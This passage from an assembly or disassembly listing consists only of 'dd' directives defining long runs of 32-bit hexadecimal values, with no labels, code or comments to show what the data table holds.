0DB8C2D54h, 0AC062CDh dd 141C16A2h, 0DB302755h, 0A6202D17h, 795125B0h, 50764976h dd 87D91340h, 4D5E07E1h, 6060F89Eh, 0C768901h, 8FBDDC1Bh dd 529D256h, 3A03E05Fh, 51506F25h, 0E7C6AD4Ch, 8E41250Fh dd 805B49B6h, 9061D76Dh, 697009BEh, 5714F94h, 0D12073A8h dd 0E7E92A2Ah, 9BB05F80h, 9E52C56Dh, 2DB1B504h, 8170E604h dd 3173D50h, 6891F231h, 9771E4B2h, 3CC076EDh, 7CD2D42h dd 3940459Ch, 820FC2A0h, 8D128946h, 0B0EC0E2Dh, 29D9B093h dd 0C1EEB395h, 9B89598Dh, 7E5BC38Bh, 1B92C70h, 0A8FB0F25h dd 0D9F57536h, 0E546498Bh, 1B242E04h, 14E9B881h, 0BD27302Bh dd 1A973499h, 8078B505h, 3268F8D6h, 922FADE7h, 89148B50h dd 0DC1F748Eh, 85144200h, 0E9E4ED91h, 2FDECF8h, 57D68060h dd 0BB769D23h, 0A0BD6192h, 138C15ACh, 0E4E941BAh, 32004476h dd 8B181ECBh, 907F67h, 6B750430h, 11FE1D6h, 8D885F50h dd 4E2EC92Fh, 4F41BCC2h, 980F362Eh, 0E16AA8E0h, 640050EBh dd 0EF539370h, 16F0D8D3h, 0B4E95BA9h, 210068BBh, 7BD6F5C6h dd 758C93h, 0E24CE03h, 40A427B9h, 0E6B0AE25h, 80490397h dd 24384504h, 18682EF8h, 14AAA504h, 8180E9EDh, 41819501h dd 97B401Eh, 184B3185h, 44297C8Ch, 0B52F8902h, 0E84841FDh dd 14E8948h, 119566EAh, 0C8391AD3h, 7378B1C7h, 0F7DFA102h dd 0C9D6CB0Ah, 590034B6h, 85120161h, 85320381h, 9D8044F8h dd 97E0894Dh, 7F3E0C98h, 50CA27C6h, 7C7203E0h, 414A5E5Ch dd 3F873A27h, 70F6C325h, 0A965AE0h, 9C92F9F8h, 0F6BF6609h dd 0F19A1194h, 15899620h dd 0FC176D85h, 0C07A27C0h, 0D5008BF6h, 57188A0Dh, 746FC4Bh dd 0ACA562CBh, 58D492FBh, 57EF574Dh, 2A090712h, 6FFB7C21h dd 0D54D50F1h, 6A991A5Eh, 10CDED01h, 0BD48247Ah, 97D3B821h dd 10EB422h, 25F43DD6h, 0A7C2E5F5h, 0A0E88098h, 4F9F9800h dd 9EAED16Dh, 61D41E9Bh, 181D01E3h, 2EF59240h, 99AA9B22h dd 9A2FFEF7h, 0C71AC8E9h, 6877E0FDh, 3D58D53Bh, 9D950B05h dd 2FE8D213h, 87470E79h, 0DA601BE4h, 0C504152Dh, 0E7F68451h dd 292593ACh, 3C17C2C5h, 0A200A07Eh, 0D5C1FB56h, 0DF2A687Bh dd 0DEB092B4h, 6A400445h, 64E92888h, 84091329h, 0C625BB2Ah dd 7FB86EBDh, 5946AA04h, 0F1B936C2h, 80709B4Ah, 6423FFD9h dd 698605E5h, 0FC969CE8h, 10E6804Bh, 1325238Eh, 0F485C751h dd 0D112730Ah, 0F9E11A36h, 16986E2Bh, 0FFF39852h, 2512E24Ch dd 0CEF7E621h, 0ACA7162Bh, 0AEDF02A0h, 99E87C04h, 6BC2F25h dd 636613D2h, 0E5B10973h, 923E6201h, 1D91EE04h, 0D1B4900Ch dd 0F6AD049Ah, 4FDF9E5h, 4B0053B8h, 112D9EE8h, 40A331Bh dd 90BE663Fh, 0C67ADB5Dh, 4238CDh, 0D78110C7h, 3B92334Dh dd 6316F96h, 406AE8FFh, 78A87D86h, 82167E88h, 120455CEh dd 5AED5EFEh, 8816CBB8h, 7CA289FBh, 0C9B53109h, 0A5B59413h dd 290C8858h, 80E2613h, 0FC070C81h, 4D9F852h, 5E0635AFh dd 1D4E2C33h, 0B3D64D41h, 4473F8CDh, 4D850800h, 0D72E153h dd 0A902F100h, 0EBABA1A5h, 0A3B90982h, 0D2D359ACh, 281C8E70h dd 24AAF72Dh, 18319249h, 734E0E52h, 0F2175E78h, 89A1CFE9h dd 920DBDFCh, 0CEE8757Fh, 4CC0394Bh, 0A1F4411h, 0ADDE6300h dd 60E9B783h, 0F390BFF9h, 9403D5E0h, 0FC61D750h, 0EBEE13B4h dd 3077E8F6h, 3EE1060h, 1CB94BCAh, 9D3185BAh, 211ED06Dh dd 54D1D8Dh, 1C3CECECh, 408E55CDh, 0F5074B1h, 5862FEBFh dd 5E20495Ah, 0EE00F4E4h, 411CC24Fh, 4F82FC27h, 0D2682489h dd 8B0622B9h, 0D34F95C5h, 0C73D6E40h, 80EF012Ah, 0E183F78Bh dd 293C3001h, 80B7BDB5h, 0A2718F64h, 5E2E6C2Bh, 0CD161F92h dd 908B744Ah, 5595C56Eh, 3E44C7B8h, 9F8D8623h, 74201567h dd 9052862h, 6061897Ch, 12DCB6FEh, 34837B66h, 0E07EF620h dd 0B55E6D8Ah, 17956990h, 220126F8h, 0E2D0700Bh, 1B201DB0h dd 7785AAB1h, 830296B7h, 51C79DABh, 821000E4h, 9F3672A0h dd 0B9BB5D00h, 68FC154Ah, 73AF6546h, 0E879B922h, 7621757Dh dd 95091372h, 5B644AC5h, 0EBB114F1h, 8A2007A2h, 0A61BEE3h dd 8B70F83Eh, 0E141AF43h, 0F21C4D1Fh, 399D8B21h, 0EA041C25h dd 0DFDC1A8Dh, 0BD2500B7h, 55FE07DEh, 6A277AF1h, 2A5BE19Bh dd 0E4805F00h, 5AE80D57h, 9314326Ah, 0ED269ED2h, 18D16225h dd 1CB53D77h, 4BF7C0F6h, 0C71332DCh, 8BB3D015h, 0A8C85A31h dd 0B2AD0787h, 0C1CE3528h, 4C912D1Eh, 3DBD2E95h, 5338002h dd 0DC6F6D15h, 104D7658h, 414C2B01h, 0DE88D3Bh, 0DE0EA477h dd 8985BC0Eh, 48891FD2h, 0B3FC1E72h, 7FD958AFh, 2ABD87B0h dd 0ED2DFC80h, 0EF67C0BAh, 0E9018CC7h, 9A6EE70h, 0C655898Dh dd 1D231F6Bh, 8A31DF00h, 18437034h, 3228EAF0h, 19483D9Dh dd 35F59327h, 0FAF3E54Ch, 0D38101A9h, 1FA6DF0Ah, 0BF80EBBCh dd 0EA82B368h, 69938254h, 0CDB8001Ch, 0B392EBFCh, 74CE56D7h dd 3AC514C8h, 0CA22CCh, 0D6E64FB2h, 8DC10376h, 0AFC6F02h dd 0E029C9C2h, 0A6619D47h, 39366BECh, 7B83FC37h, 9FAAABFAh dd 7086BAE0h, 0BB660B85h, 898274Bh, 3B030E36h, 0BE7DF403h dd 8AF24194h, 30E9ED7Dh, 540A92B8h, 670DB64Ch, 8C3B45B9h dd 0BD1023AAh, 247B0DE1h, 243F4DD3h, 0E909DEE4h, 820CE1A5h dd 9138D5Eh, 7E4088DEh, 580A78BAh, 0D9109E76h, 85C71234h dd 4C761FDDh, 3E4A28E6h, 17A2E5B3h, 92A330h, 8060CDFBh dd 12E8F1D7h, 63C021C0h, 6AC1B0Ch, 0EEBFD691h, 7000AABBh dd 7B356F1Ch, 7FEBB888h, 5E451D36h, 35F3BF61h, 0F643E99Dh dd 8592F0F1h, 0DD32B58Fh, 89A48B57h, 0DC1DFEB0h, 7E0DBC2Fh dd 0B7B307A1h, 0E9C162BBh, 6081B9DCh, 0A8D88C66h, 35222A3Ch dd 0FF016A04h, 0C9ACB1B5h, 157F8E9Fh, 89D00FDFh, 0B5909509h dd 0EF18C1FEh, 43C680Ch, 8FACDC20h, 0D4E5702h, 0C4C2010Bh dd 32E91A03h, 85C66B06h, 3162871h, 30DF6856h, 7E3BA9C5h dd 0C18846E9h, 0F8FD1CB2h, 6A503129h, 0A056057Ch, 613B126Eh dd 0E0E03AC3h, 0BA5FB9F0h, 6EC04E8Bh, 4EE70056h, 3C17CB31h dd 819301D8h, 5CDE7CEEh, 2FC73A26h, 0BD839B00h, 578E9591h dd 12097506h, 0C17DD22h, 53501974h, 382FB888h, 8FA84B04h dd 189DDB0Ch, 0F614AE0Fh, 58565BD3h, 1E827522h, 0AAFE2320h dd 26784D2Bh, 4D02076Dh, 7277229Ah, 9EF465F1h, 0D11FB140h dd 0FD310088h, 89B81E6Bh, 280BA9EFh, 8281C292h, 7A2F9197h dd 20D398ACh, 0E8141A5Dh, 2C5D087Eh, 8D41E4F1h, 239105B9h dd 8FB64F6Dh, 23A47AE0h, 3F18D10h, 0A5BD2B04h, 2D53E409h dd 372D439Ch, 86EF00C9h, 0A0CDE993h, 8561975Fh, 4A2AB585h dd 9730BB8h, 92C47995h, 0C8BB1BE2h, 0F836A9D8h, 6468003Ah dd 1CB81B08h, 1552B501h, 0B2CF269Eh, 70A55BA7h, 0D71E3FB3h dd 0FD041276h, 48C1A6FBh, 60410D29h, 1A091FC9h, 0D8DDC1CEh dd 1B42890Fh, 0E8A48380h, 0A6B74E74h, 4042E2B7h, 8029A931h dd 6D32B260h, 78D1AE61h, 0DCB39449h, 7DBFFB00h, 23E8F08Bh dd 0DB4A9307h, 0BD2937E8h, 2844714Bh, 0F3D4B985h, 0D9E069E6h dd 0C90A0BC1h, 4D06D6E8h, 0E1680EDEh, 1A0225B9h, 69416065h dd 5AE91212h, 16490064h, 88075869h, 593FE097h, 0E2133B54h dd 8231DCAh, 2D6989BAh, 1911111Fh, 7B3A0980h, 9B1B8627h dd 12DD68E8h, 0D3311958h, 784D9C6h, 0D49957E8h, 580FF462h dd 91A5B531h, 0D2ABE66h, 5A7D9526h, 0A672446h, 1BE1B529h dd 491117h, 0AE3BCF81h, 45E80ADAh, 1BDB3F0Dh, 7E5AD980h dd 0F2F587Ch, 3129C68Fh, 8176F9C9h, 29F8002Ch, 7993195h dd 2305D1A7h, 3016E2A3h, 5B642CFEh, 0AC132361h, 90B8D615h dd 649FE81Ah, 0BE79A7F3h, 268D608Bh, 70C90468h, 8B00845Ah dd 61AA2ECEh, 676C6BE8h, 230C9685h, 0CE40DB8h, 40DD0E51h dd 0E834590Eh, 18E69953h, 0AF13DAE0h, 0CFE6BA66h, 6AD2D5Ch dd 0F7D0967Bh, 0AB993AB6h, 0DBDDB2B0h, 0D0C4FFD1h, 0E8181D51h dd 0A68304F8h, 0E7135BD1h, 885DA043h, 0CAC2C92Dh, 1998882h dd 5809B007h, 60523D48h, 3025297Dh, 32351CA9h, 57565F8Fh dd 0AE449h, 0CC4470DFh, 0F0CB7CFFh, 0C35FB698h, 3500706Eh dd 0F65E2885h, 20FCC5C9h, 8E0F7509h, 0E043FC15h, 0B4BA450h dd 0D400FB74h, 0C03F46F8h, 25B06C45h, 53623A92h, 74709373h dd 6C899578h, 0C180BD37h, 89DD052Bh, 2915259Dh, 4D9725E6h dd 0D59140FEh, 96011D0Bh, 935CB52Bh, 0BC328A0Fh, 8C23204Bh dd 0BA0298D5h, 0AC336552h, 615950h, 0F76359D9h, 0EE0024AEh dd 0AA22FFD2h, 0A15780Bh, 0BC9ABF62h, 881910B4h, 17FA8414h dd 0CFDEF215h, 0C8C09EC5h, 5EAA49B4h, 78859393h, 71FE07F4h dd 260AA92Eh, 271FA03Ah, 0CD698D0Fh, 0EE42D6F8h, 5574A62Bh dd 5F920055h, 7C2291E0h, 10E5604Ch, 66023471h, 61F93FBAh dd 0EB9506D8h, 0AD95A8E7h, 0F48DBC1Fh, 4D097484h, 0B71A8992h dd 0E0784C4h, 5F20AABAh, 0C5163Dh, 0E257A954h, 7C2C5908h dd 42896609h, 83623704h dd 2EF3C1Ch, 4FF9F838h, 268041DEh, 3DCB67D7h, 37B2C21Eh dd 0D5BF6681h, 69205FDDh, 1297B101h, 9C46DB1Ah, 0FD374E80h dd 9AC3641h, 89784922h, 844A4F54h, 4BC08560h, 95EA0047h dd 0A6F5162Dh, 0D91F7C35h, 6C13ADDAh, 0C681F101h, 0E9447908h dd 0B76FA112h, 0E857A412h, 2C991091h, 48A1A640h, 14F82230h dd 0F32E588Ch, 1A25F24Ch, 40C046CDh, 0BD6127Dh, 0BD33F8FAh dd 0EB4AC8EBh, 94E0E4B6h, 5402653Dh, 2BFF1109h, 20CE1EBh dd 0FA98C614h, 6F2A3525h, 0BEF744BDh, 438D1D14h, 61D8142Fh dd 0B4E65A88h, 0BA65E3E0h, 0F3C09D12h, 0D90183A1h, 8B4C23F9h dd 6EB91966h, 6805C603h, 0B0374655h, 18353047h, 0B4FCEE66h dd 7CE90F60h, 56958913h, 2986BEB5h, 0E114185h, 9C4190B5h dd 1BE203B0h, 6165FB2Ah, 113A58Eh, 0F391E98Dh, 0CA6C5995h dd 0A761F92Dh, 0FA1D201Ah, 0F9E23897h, 9F75AB10h, 4B971FBh dd 9E0E0195h, 0E562C0FDh, 5AC534h, 0BFCEFD12h, 56F08549h dd 0D3DB90D3h, 0FC746581h, 0EDB1A5D9h, 0A1E4CEB5h, 9DEFC153h dd 3B5F0322h, 454C65EEh, 3DD1608Ah, 15C23127h, 9A0FB412h dd 0E90B2A88h, 0C45BE7F2h, 70EC601Bh, 0F0AE000Bh, 8B97202Fh dd 129591BDh, 3EF1466Bh, 2F00A29Eh, 0AF6D5582h, 0E4340734h dd 0DBF926BBh, 400050B8h, 7A94679Ah, 6A60143Fh, 87F4A6Dh dd 958A0571h, 4BBF80FDh, 2101A16Fh, 0C2051CBEh, 99B66470h dd 0F800440h, 296186E2h, 1DF91149h, 0F62F4909h, 0D21FF4A2h dd 0F181D4E3h, 2D9F71B3h, 0DCA0D4EAh, 0BF234500h, 4E683DF1h dd 0C7C54E8Ah, 9BC0241Ah, 0EC85C13Dh, 56DE1B1h, 224295E8h dd 105A7623h, 0B6AB1720h, 0FD5BEB05h, 4E032D50h, 7DC9A146h dd 0FE18B85Ah, 0F9023F21h, 818BC780h, 6AEF9FE9h, 7A810D51h dd 0B0F64F35h, 0F5E8D3E1h, 7AB02BEFh, 88904E34h, 0FF00E18Eh dd 72970A7Bh, 2C1D0713h, 0E2C0E7Ah, 0CA3C505Fh, 317E990h dd 4792F7D7h, 0B65627C0h, 81C7AA13h, 7AC1BF09h, 0DE60BC67h dd 0E4B36297h, 97BC00E9h, 0B18B3204h, 6A5F9DCFh, 90F046A6h dd 3E2EB12h, 0E259D10h, 2772AB40h, 0C5B7164Ch, 874F5980h dd 0B4A354C7h, 82674005h, 0EF00E05Dh, 199376E6h, 5EC20CFCh dd 8BD2C0ABh, 0EB1380FBh, 0ADEC50E1h, 0CC33009Fh, 0F17AEEBCh dd 8D219101h, 3E7019CFh, 9B01167Fh, 0AACF80C7h, 30DCEF76h dd 0BB448FF6h, 0F43B6C30h, 8A6FDA03h, 0FD462816h, 0B26AD765h dd 5B8BAC00h, 9D95093Ah, 0E38D1D40h, 9BCF177Bh, 0FD07C0EFh dd 1F90B11h, 23D1FF93h, 7A05C59Dh, 42AD964Bh, 16095407h dd 0B03FB7B5h, 26179D8h, 71EACB4Eh, 0B777026Ah, 0EE300ABh dd 6A1327BEh, 728CBA12h, 1E1E1CF2h, 26D48062h, 6ECBE2C0h dd 41B78E98h, 4298655h, 0F05F5617h, 0A120BB53h, 5B1CAA29h dd 0CDE1784Bh, 0AB28A812h, 118E282h, 6A038C0Fh, 0EEA5B373h dd 8A0CF21Fh, 9D96B07Fh, 0E9124085h, 0C50E112Fh, 4C7C8854h dd 0F1D467Ch, 0A29EC102h, 5FF19862h, 0BF668500h, 0F69078ACh dd 2B943724h, 0C89D2909h, 760F90B2h, 0FD109584h, 0E497D68Bh dd 9AF70039h, 8188C184h, 0A4004DBCh, 1B833176h, 1BA2315h dd 6351EAABh, 2E506159h, 0E2BFFA20h, 4A400020h, 56DBA8C6h dd 0A405CF42h, 908A3E68h, 0E6E0C2A6h, 3009FADEh, 40319D8Bh dd 70FF64C4h, 0D761A235h, 9BA4930Bh, 0FF744113h, 0A3C8A014h dd 0F6EC0019h, 0A48CC1Fh, 0C89D1CA6h, 286461DBh, 9F272589h dd 1BC07CEDh, 37C6D10h, 128AFD1h, 0FD9D59B5h, 0F5F8D25Dh dd 0F3C37A80h, 81BFA7D9h, 0FF6A5BDCh, 0FCB8302Dh, 0EDAE7E00h dd 0BD33D7ABh, 0F785AA6Dh, 0B111FE8Bh, 0AB442AB5h, 64D2E5B3h dd 26E9022Ch, 0E1BFBA78h, 0D5F83148h, 1FA0BD18h, 852971E4h dd 98D8995Bh, 8A37C70Bh, 0C8B680D8h, 52165660h, 21EC585Fh dd 1E93612Dh, 8BDA1200h, 11B509C1h, 0C810BD1Ah, 9110C381h dd 2E98BB3Ch, 0C8482BFAh, 0A62022BEh, 6BCF0052h, 6116B1C0h dd 3BE08F8Dh, 0D7A00D00h, 0D629C4F1h, 250F5C47h, 1E519D09h dd 0D163F4DAh, 0BA57F85Ah, 4002DCE9h, 8B759BBBh, 0F845854Fh dd 5E835B50h, 0A6067007h, 5D3606DEh, 5E539F8Ch, 780E1922h dd 0B2F10260h, 0D03B6148h, 4FD59288h, 23A1BDA5h, 17026EB8h dd 0CD958953h, 76A3F530h, 0DFB97ACBh, 3B313F46h, 442FDC8Ah dd 344F84E8h, 97BF4A00h, 28641EA1h, 61CA583h, 953360FEh dd 612D6375h, 0F691189h, 532085DEh, 5BDB8C05h, 808078E8h dd 0E5F46B03h, 18E45600h, 1DB53F61h, 0DE5F0210h, 8ADAA4B1h dd 2925C25Ch, 17E71A9h, 0DE83B58Dh, 8303E15h, 4AA2E12h dd 0C158D36Fh, 6AE8C314h, 0C046DB85h, 0EAEB1396h, 8C5A5B11h dd 494EB901h, 0C5A69E12h, 2025BD1Fh, 29FCA781h, 1630B82Ch dd 0A852FC6Fh, 14910B8h, 610AB43Ch, 4781B85Fh, 95249CF8h dd 8B6C69B7h, 0CF24D1D9h, 910EDD61h, 0D22B1613h, 86B9F5FDh dd 0D8276D86h, 80F0B6E2h, 33ADFEB7h, 52C4D1C2h, 798083D0h dd 56F475h, 93A1BF51h, 5F5B7AB6h, 0C7B54DB7h, 7806190Dh dd 155584A0h, 0C288EDBFh, 0B1088527h, 7A09A1EEh, 0BC8F69DEh dd 50D3B816h, 69E3058Eh, 1CDCE82Dh, 86C28B50h, 8C10318h dd 96ACD2F1h, 0BF015819h, 49340BEh, 317F8E0Fh, 5129D28h dd 8C21AE83h, 0C784F019h, 4C7AEF85h, 408D871Fh, 833FACFh dd 4CB3B862h, 76BBF8h, 6A45D1Eh, 55B58984h, 3A5D024Ah dd 0A89E4DD7h, 2903DE80h, 9A5B33ABh, 2C476780h, 0B55498FFh dd 9102EB92h, 2B181BD9h, 11CE9104h, 21964808h, 1BDE1402h dd 84C80188h, 0EEF401DEh, 99239E2h, 5F83097h, 33348E9h dd 0C2860F1Dh, 44646F25h, 2832BA6Dh, 70F5F360h, 6E5C7A7Dh dd 9C5A17E3h, 0B2820FE1h, 0E180F129h, 611D176h, 464ECD4Ch dd 1CC90AD8h, 4FCD4B59h, 1DE0C3B6h, 69F87F1Bh, 8D2088B0h dd 0EF800F30h, 6529333Bh, 0D395CCF8h, 0E50E7893h, 59F0A801h dd 7F551C4h, 2101F945h, 501EE8DFh, 9DF9202Ah, 9E01EB77h dd 0EE6119CEh, 4F6FD385h, 8492C8DBh, 0D2C4C5F7h, 0CD556A6Fh dd 6665E12Dh, 37C6D89Eh, 820EE85Ch, 801F03FFh, 50A8BFA4h dd 5B38266Eh, 8345351Fh, 80BDD9E0h, 2EBDD5C2h, 895B0558h dd 0DC245658h, 842C0100h, 2723B063h, 3FA05B7h, 0A4218D9Dh dd 33FB7997h, 3014E2A5h, 0DF588B01h, 0C81216DDh, 3CE9D116h dd 0BC146EB8h, 9AD9030h, 2BB0E9D8h, 92D043Ch, 7C48F357h dd 8596B750h, 81790A69h, 1975BD90h, 53B15100h, 0C7615E1Ch dd 0D64B4B24h, 0EB50D38h, 85B81135h, 4F2E7CB9h, 4DE0DBF6h dd 90171AD8h, 47A68985h, 54737EF0h, 0B5D6F12h, 12289009h dd 0F4D47C99h, 8C7DA20Fh, 0E49A89BFh, 0CE5C0195h, 0BC523B8Fh dd 0F8EFCC34h, 42515B00h, 44689B0h, 96FE268Bh, 0E4973E1Bh dd 7772F350h, 5B5F5317h, 252473F8h, 25B54524h, 0E066B6C4h dd 7E6D82D7h, 256A17E6h, 0C15DB8F2h, 1389BD03h, 7EA72D05h dd 0E8DD3B99h, 8FB51C40h, 502E0738h, 19615FE1h, 0B4ADFCC2h dd 498FC932h, 80F728E6h, 8C2EDC87h, 0E8BC0006h, 0EB093ED9h dd 0EA03A7F8h, 0DCA87175h, 0DD6E5279h, 2F67884Bh, 0BBC9F400h dd 0CDF2D875h, 848B4A3Bh, 2802433h, 584080ACh, 974B75Fh dd 0B71A8DEBh, 9100DDEh, 785CC47Fh, 0BD66C81Ch, 0F5035924h dd 0DDD92951h, 0BD8E1E28h, 0C70B1568h, 5B631B85h, 0F039B674h dd 0A92901h, 538F9992h dd 1A857DBFh, 955F602Ch, 0E39A5F20h, 79C12D52h, 0F876E88h dd 0FC3C1BBCh, 7645386Ah, 55011546h, 0C30508Ah, 0CC44C111h dd 0E83DC101h, 70E6B10h, 3E24C16h, 1B6C5258h, 3636EBE7h dd 736408BCh, 661B2CDCh, 21282950h, 9A581881h, 13570113h dd 0C08B811Bh, 19B8CE6Dh, 9448E616h, 0C9EF7B0Eh, 4D0A05CBh dd 0A96D82F1h, 0E01FA9B8h, 27C5B57Bh, 6FCABBBCh, 578F8517h dd 0B817A9A2h, 94AD1229h, 0B808AB68h, 660C2911h, 0CDB5645Dh dd 0A9AEE063h, 7500F8B9h, 89249F07h, 2F8D8B60h, 26FB2625h dd 11CAD700h, 0E89BE1BAh, 0F6109F9h, 6B84D9BFh, 0F0F93412h dd 32028DA8h, 69D7809Ah, 0A9C240FCh, 0C1BD9D1Ah, 0EE6D5A01h dd 6360F4B3h, 0A69DD306h, 0CD2BE096h, 500A005Ah, 3866570Dh dd 957209CFh, 0BD26A5B5h, 0C725CDE9h, 23E573F8h, 301BB2C3h dd 1300CEB8h, 91E3A543h, 4E0F9623h, 60E64E8Ah, 8E37BB34h dd 0D6800911h, 29969EB7h, 895B57Eh, 5CBC94Bh, 0ABB4713Ah dd 2A11458Dh, 56747B20h, 7A700015h, 2DD7BCE3h, 0FD5099D0h dd 1C4A05C4h, 0B8E88DB9h, 13DB9303h, 88DC9DDEh, 48E380EDh dd 0CD34BD0Eh, 0A561D995h, 8402FA18h, 0A04F9DDDh, 0FF5C7841h dd 5BA51070h, 80359E01h, 0D51C96D4h, 0E3A90068h, 89AAF380h dd 4F95C486h, 9E806142h, 0A9D7CAF5h, 1C9855CFh, 0D15A8D01h dd 0E3B7DF84h, 3716A4Bh, 83F9747Fh, 72BFE8C2h, 658C05B8h dd 0B6205089h, 8E37E080h, 4DF20258h, 0A99D890Ah, 0F89632DEh dd 0DC6FBB05h, 3EE6DC12h, 0A43C23E0h, 0FA8A8718h, 8204C55Eh dd 49B8BA04h, 0F481DEFCh, 55C8F54Eh, 294F001Bh, 320D8D3Fh dd 5200821Ah, 0A7DDB05Dh, 403E37F9h, 8C12CBDFh, 0AD655B33h dd 9DE5570Dh, 4D24F78h, 5264909h, 0D7E4E896h, 8A9D0014h dd 35C57108h, 510201D9h, 0EF4B28C8h, 4B067E1Bh, 2C81AD47h dd 9BD0FF50h, 5F61D1E4h, 53D0285Bh, 17E6BF88h, 12EB738h dd 9D0396C0h, 4ED82CF1h, 0D40069A2h, 0B0DFC42Fh, 720336EFh dd 90663FFCh, 0E12BE2F1h, 5F02018Bh, 0F7817C90h, 6E206B7Fh dd 9602F005h, 0F505F40Bh, 2FA464B4h, 0DD5520EAh, 0AB003E6Bh dd 503F560Eh, 2675A68h, 8CD25DD4h, 83C0018Ah, 12422A09h dd 0C060524Bh, 96A96E6Bh, 0B8E0504Ah, 0FA1B7738h, 65DA528Bh dd 0F8B70F09h, 2107B725h, 2A18C1E4h, 681B2DEh, 484B88BBh dd 6DA0E834h, 0AC00AECFh, 4892FEBAh, 151CD80h, 0CC0C065Ch dd 7849C127h, 0BDED807Bh, 9D42AC56h, 0A191704h, 0A24C75Bh dd 0A24E1B10h, 0D77F0088h, 0B40E39B6h, 0F3CF25E7h, 0F0B12304h dd 94A10256h, 0D72FA331h, 13CB2878h, 48820C3Ch, 0B30403ACh dd 0E1C8C6DCh, 48164A09h, 45B85993h, 1DB8086Eh, 0D301D520h dd 36E9E5CEh, 0D3C6FFF3h, 66577203h, 3D213CDAh, 0BFB87577h dd 5101BE1h, 16DCB04h, 0E2C18B07h, 0A3F0AD9Dh, 0CD7D3A97h dd 32C76013h, 0E6BDEBDCh, 0CF801728h, 93E918h, 179AE0BBh dd 4AE7B362h, 0BC33BD6Ah, 278970B3h, 69DB1F75h, 0EF62D0h dd 3BC4F88h, 7EB79247h, 1FDDDDA0h, 651388A4h, 0FB6165Ch dd 393360F0h, 5CFA42B7h, 74932648h, 0E1001C46h, 97B143BFh dd 9631F2A3h, 531A8B2h, 0B98C0405h, 8CA3121Dh, 0D27E5800h dd 0D374322Fh, 0FA768F00h, 140ED998h, 76C8AAE1h, 0B300DCB6h dd 0D1EA2B20h, 4BA44CADh, 82398933h, 39BD8B52h, 0CF088A2Ch dd 0D8547863h, 0E6E79C67h, 0BF7701DBh, 2D389456h, 0D8F62B5Fh dd 553219B2h, 35042CC4h, 5A5BD09h, 0FC775BDh, 81379C88h dd 0A5EFF300h, 0D1FF7EACh, 4002B660h, 7350B09Ah, 345F8601h dd 1B93F877h, 1561E20h, 0BF66F2D4h, 2F61422Ah, 8B337528h dd 0F9E5D5A7h, 0F90209F1h, 4B5190h, 971527E0h, 560238E7h dd 50BDE331h, 0BE21E060h, 0F5A10086h, 0F906119h, 0B0B3DFBFh dd 4D20B220h, 0B5E9120Eh, 0C4F3E20Ch, 2E195C6Fh, 7BA675C1h dd 580DADBh, 315C2AC2h, 0F2B39ED2h, 0C740572Fh, 9095905Bh dd 544695h, 32B1750h, 408AC564h, 0E45FD9FDh, 5D071B0Bh dd 5092ED1Fh, 0B6F65B96h, 61ED6EC6h, 1C6E7EF8h, 799AEA00h dd 0F92DB6B3h, 89A55D02h, 5C037595h, 0CF8452E3h, 99C6B9DEh dd 0BA100C72h, 0E4038BD7h, 3B5A04FFh, 6ADAA17Fh, 0ABA5C120h dd 0FDC24AC0h, 0AAE6D2A1h, 2EB997A0h, 0BC5C700h, 0CACB6EADh dd 81FF016Ah, 1C298DEFh, 2DA86025h, 847A1D5Eh, 4F0E4207h dd 2FD6F062h, 0B05868F6h, 0DF30C01Ch, 12F5E18Ch, 0E6FE8B17h dd 588A72D8h, 875208Eh, 2D101D9Eh, 0B0611Ch, 0E6D5F380h dd 890A5170h, 942869B5h, 9871E489h, 0A46851h, 84D49063h dd 97C5AB4Bh, 961279E2h, 0F8E4E7AFh, 0FA9ABDCBh, 6625F956h dd 0D0825AF0h, 4EB56058h, 0CA2C9690h, 34327061h, 0E621F7FAh dd 9229258Dh, 0F9E1D8B5h, 52E1BBCDh, 372D85FDh, 0F8C82B13h dd 0FBA68052h, 6F920F1h, 0FCB3D0Ah, 5FE01B87h, 0C1D18B26h dd 5E1A4D09h, 0AFBFC041h, 625C99B7h, 6C935B13h, 112DB129h dd 0F4660CA5h, 0F33F04B0h, 0E292CBA7h, 0BD31200Eh, 44893075h dd 97DE874Ch, 49A10BC6h, 9667A2F5h, 29DE9195h, 14FF8A08h dd 20BFC3ABh, 24A58B28h, 0BD2BFE0Bh, 0B7505ADDh, 0A409CA13h dd 73F1D3DFh, 0E7C708B8h, 75810F09h, 9DCB7418h, 4F6A9A38h dd 0ACE004A6h, 4E627A5Dh, 570E75DAh, 18E4B9CDh, 91548D60h dd 296ACE03h, 0B3505B5h, 0EF0B94Ch, 0D340534Fh, 9DCBDC12h dd 0A800A8E4h, 2E1A1648h, 3C64F9E2h, 0BB80B38Bh, 58DD93BAh dd 8A97DE9Bh, 91628908h, 426E40A4h, 0B489049Fh, 0C3E15118h dd 0FCD966E7h, 245C33B8h, 5144518Bh, 1A3E08EEh, 0D22B5B05h dd 2DE9F5C1h, 0F0C8AC04h, 5A0D9D2Bh, 337A61Ch, 47F62476h dd 33929C6Fh, 0A5AE5C5Bh, 139337B7h, 0A710AA08h, 86818D71h dd 0FECC155Ah, 97199C8h, 5F5BE404h, 9895F9C6h, 97D98ABCh dd 8084A215h, 3FC181D7h, 0DE3A1105h, 5A70935Fh, 0A64A4BFh dd 0B6BB316Bh, 0E23A128Dh, 0D56889C6h, 2F80353Dh, 0D585E093h dd 20BF9027h, 0FE861925h, 10CD5CA0h, 6EA5F591h, 0F96D9FABh dd 76A2AA40h, 551A0077h, 93FD6935h, 2364E1FFh, 0AAB813DEh dd 664EC7E3h, 6DBCD2E9h, 6077A00Ah, 0FA22E856h, 61812D71h dd 0ABC6282Eh, 0E3FC61D3h, 254A2F2Bh, 0F62A661h, 0A9C11CC8h dd 0ECCCBB6Dh, 3ADE05A6h, 0FC880F6Ah, 0C8EA081h, 9A072D4h dd 6098DE54h, 4170677Bh, 7C20A90h, 12E60812h, 2ABDE1FBh dd 0B008D6Eh, 6346E4A4h, 0A97147Ah, 1D0982DBh, 9AD57109h dd 1C5437F3h, 5CDE8A62h, 0C38060B4h, 0A1B0906Eh, 9D88504Ah dd 5A4B16B2h, 12AE5658h, 1EF6FD3h, 50B4C178h, 7662800Fh dd 855C814Eh, 0B5010002h, 0A60D4539h, 0DA270566h, 0AD6804FAh dd 0CCDFEBCAh, 5F003F2Dh, 0EA1A8AF7h, 794400Ah, 7B9B63DDh dd 0AF23B4E6h, 5731FDCDh, 605B27C2h, 39522404h, 41203325h dd 702A0974h, 599D0387h, 0CC602641h, 0EC0F1208h, 4E6AE777h dd 0CBA0B2F6h, 5B175131h, 0B356BFE9h, 0CB811C9Bh, 9126FB7Dh dd 0CC4A6DC2h, 2B97FC7Dh, 0F4C05C72h, 